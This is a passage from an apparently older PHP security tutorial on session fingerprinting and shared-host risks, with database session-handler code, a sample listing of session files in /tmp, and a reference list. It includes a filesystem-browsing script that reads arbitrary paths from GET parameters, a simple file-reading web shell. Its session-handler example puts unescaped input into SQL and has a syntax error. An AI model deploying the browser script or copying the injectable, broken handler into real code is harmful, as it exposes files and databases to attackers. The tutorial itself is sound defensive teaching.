/* Add any other data that is consistent */

$fingerprint = md5($string);

?>
```

Keeping in mind that we're passing the session identifier in a cookie, and this already requires that an attack be used to compromise this cookie (and likely all HTTP headers as well), we should pass this fingerprint as a URL variable. This must be in all URLs – as if it were the session identifier, because both should be required in order for a session to be automatically continued (in addition to all checks passing).

In order to make sure that legitimate users aren't treated like criminals, simply prompt for a password if a check fails. If there is an error in your mechanism that incorrectly suspects a user of an impersonation attack, prompting for a password before continuing is the least offensive way to handle the situation. In fact, your users may appreciate the extra bit of protection perceived from such a query.

There are many different methods you can use to complicate impersonation and protect your applications from session hijacking. Hopefully you will at least do something in addition to **`session_start()`** as well as be able to come up with a few ideas of your own. Just remember to make things difficult for the bad guys and easy for the good guys.

NOTE:

---

*Some experts claim that the **`User-Agent`** header is not consistent enough to be used in the way described. The argument is that an HTTP proxy in a cluster can modify the **`User-Agent`** header inconsistently with other proxies in the same cluster. While I have never observed this myself (and feel comfortable relying on the consistency of **`User-Agent`**), it is something you may want to consider.*

*The **`Accept`** header has been known to change from request to request in Internet Explorer (depending on whether the user refreshes the browser), so this should not be relied upon for consistency.*

Shared Hosts

Exposed Session Data

When on a shared host, security simply isn't going to be as strong as when on a dedicated host. This is one of the tradeoffs for the inexpensive fee.

One particularly vulnerable aspect of shared hosting is having a shared session store. By default, PHP stores session data in **`/tmp`**, and this is true for everyone. You will find that most people stick with the default behavior for many things, and sessions are no exception. Luckily, not just anyone can read session files, because they are only readable by the Web server:

```
$ls /tmp
total 12
-rw-------  1  nobody  nobody  123 May 21 12:34
sess_dc8417803c0f12c5b2e39477dc371462
-rw-------  1  nobody  nobody  123 May 21 12:34
sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw-------  1  nobody  nobody  123 May 21 12:34
sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$
```

Unfortunately, it is pretty trivial to write a PHP script to read these files, and because it runs as the user **`nobody`** (or whatever user the Web server uses), it has the necessary privileges.

The **`safe_mode`** directive can prevent this and similar safety concerns, but since it only applies to PHP, it doesn't address the root cause of the problem. Attackers can simply use other languages.

What's a better solution? Don't use the same session store as everyone else. Preferably, store them in a database where the access credentials are unique to your account. To do this, simply use the **`session_set_save_handler()`** function to override PHP's default session handling with your own PHP functions.

The following code shows a simplistic example for storing sessions in a database:

```
<?php

session_set_save_handler('db_connect',
                         'db_disconnect',
                         'sess_get',
                         'sess_put',
                         'sess_del',
                         'sess_clean');

function db_connect()
{
        mysql_connect('myhost', 'myuser', 'mypass');
        mysql_select_db('sessions');
}

function db_disconnect()
{
        mysql_close();
}

function sess_get($unique_id)
{
        $sess_get_sql = "select session_data
                         from sessions where
                         unique_id='$unique_id'";
        if ($sess_get_result =
mysql_query($sess_get_sql))
        {
                $record =
                mysql_fetch_assoc($sess_get_result);
                return $record['session_data'];
        }
}
```

```
function sess_put($unique_id, $session_data)
{
        $curr_timestamp = time();
        $session_data =
        mysql_escape_string($session_data);

        $sess_put_sql = "replace into sessions
                         values('$unique_id',
                         '$curr_timestamp',
                         '$session_data',)";
        mysql_query($sess_put_sql);
}

function sess_del($unique_id)
{
        $sess_del_sql = "delete from sessions where
                         unique_id='$unique_id'";
        mysql_query($sess_del_sql);
}

function sess_clean($session_lifetime)
{
        $min_timestamp = time() - $session_lifetime;
        $sess_clean_sql = "delete from sessions where
                           last_access <
                           '$min_timestamp'";
        mysql_query($sess_clean_sql);
}

?>
```

This requires an existing table named **sessions**, whose format is as follows:

```
+--------------+-------------+------+-----+---------+
| Field        | Type        | Null | Key | Default |
+--------------+-------------+------+-----+---------+
| unique_id    | varchar(32) |      | PRI |         |
| last_access  | int(10)     | YES  |     | NULL    |
| session_data | text        | YES  |     | NULL    |
+--------------+-------------+------+-----+---------+
```

Storing your sessions in a database places the trust in the security of your database. Recall the lessons learned when we spoke about databases and SQL, because they are applicable here.

Browsing the Filesystem

Just for fun, let's look at a script that browses the filesystem:

```
<?php

echo "<pre>\n";

if (ini_get('safe_mode'))
{
    echo "[safe_mode enabled]\n\n";
}
else
{
    echo "[safe_mode disabled]\n\n";
}

if (isset($_GET['dir']))
{
    ls($_GET['dir']);
}
elseif (isset($_GET['file']))
{
    cat($_GET['file']);
}
else
{
    ls('/');
}

echo "</pre>\n";
```

```
function ls($dir)
{
    $handle = dir($dir);
    while ($filename = $handle->read())
    {
        $size = filesize("$dir$filename");
        if (is_dir("$dir$filename"))
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SE
LF']}?dir=$dir$filename/\">$filename/</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= "$filename/";
            }
        }
        else
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\"{$_SERVER['PHP_SE
LF']}?file=$dir$filename\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= $filename;
            }
        }
        echo "$line\n";
    }
    $handle->close();
}
```

```
function cat($file)
{
    ob_start();
    readfile($file);
    $contents = ob_get_contents();
    ob_clean();
    echo htmlentities($contents);

    return true;
}
?>
```

The **safe_mode** directive can prevent this particular script, but what about one written in another language?

A good solution is to store sensitive data in a database and use the technique mentioned earlier (where **$_SERVER['DB_USER']** and **$_SESSION['DB_PASS']** contain the access credentials) to protect your database access credentials.

The best solution is to use a dedicated host.

More Information

PHP Security Tutorial (OSCON 2004)
http://shiflett.org/talks/oscon2004/php-security

The Truth about Sessions
http://shiflett.org/articles/the-truth-about-sessions

Foiling Cross-Site Attacks
http://shiflett.org/articles/foiling-cross-site-attacks

NYPHP Phundamentals
http://phundamentals.nyphp.org/

PHP and the OWASP Top Ten
http://www.sklar.com/page/article/owasp-top-ten

WACT PHP Security Wiki
http://wact.sourceforge.net/index.php/PhpApplicationSecurity

Security Corner in php|architect
http://www.phparch.com/

HTTP Developer's Handbook
http://shiflett.org/books/http-developers-handbook

PHP Security (O'Reilly – Coming Soon)
http://shiflett.org/books/php-security

Open Web Application Security Project
http://www.owasp.org/